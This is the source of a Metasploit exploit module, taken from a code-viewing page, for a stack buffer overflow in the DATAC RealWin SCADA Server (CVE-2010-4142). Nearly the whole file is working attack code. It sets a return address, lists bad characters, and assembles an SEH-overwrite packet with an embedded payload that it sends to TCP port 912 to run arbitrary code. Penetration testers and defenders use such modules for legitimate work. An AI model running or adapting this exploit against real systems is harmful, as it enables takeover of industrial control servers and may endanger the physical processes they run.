Path: blob/master/modules/exploits/windows/scada/realwin_scpc_initialize.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in DATAC Control18International RealWin SCADA Server 2.0 (Build 6.1.8.10).19By sending a specially crafted packet, an attacker may be able to execute arbitrary code.20},21'Author' => [ 'Luigi Auriemma', 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'OSVDB', '68812' ],25[ 'CVE', '2010-4142' ],26[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],27[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-313-01']28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'thread',32},33'Payload' => {34'Space' => 550,35'BadChars' => "\x00\x20\x0a\x0d",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' => [40[ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.1941],42'DefaultTarget' => 0,43'DisclosureDate' => '2010-10-15',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([Opt::RPORT(912)])53end5455def exploit56connect5758data = [0x6a541264].pack('V')59data << [0x00000002].pack('V')60data << [0x00001ff4].pack('V')61data << rand_text_alpha_upper(228)62data << generate_seh_payload(target.ret)63data << rand_text_alpha_upper(10024 - payload.encoded.length)64data << "\x00"6566print_status("Trying target #{target.name}...")67sock.put(data)6869handler70disconnect71end72end737475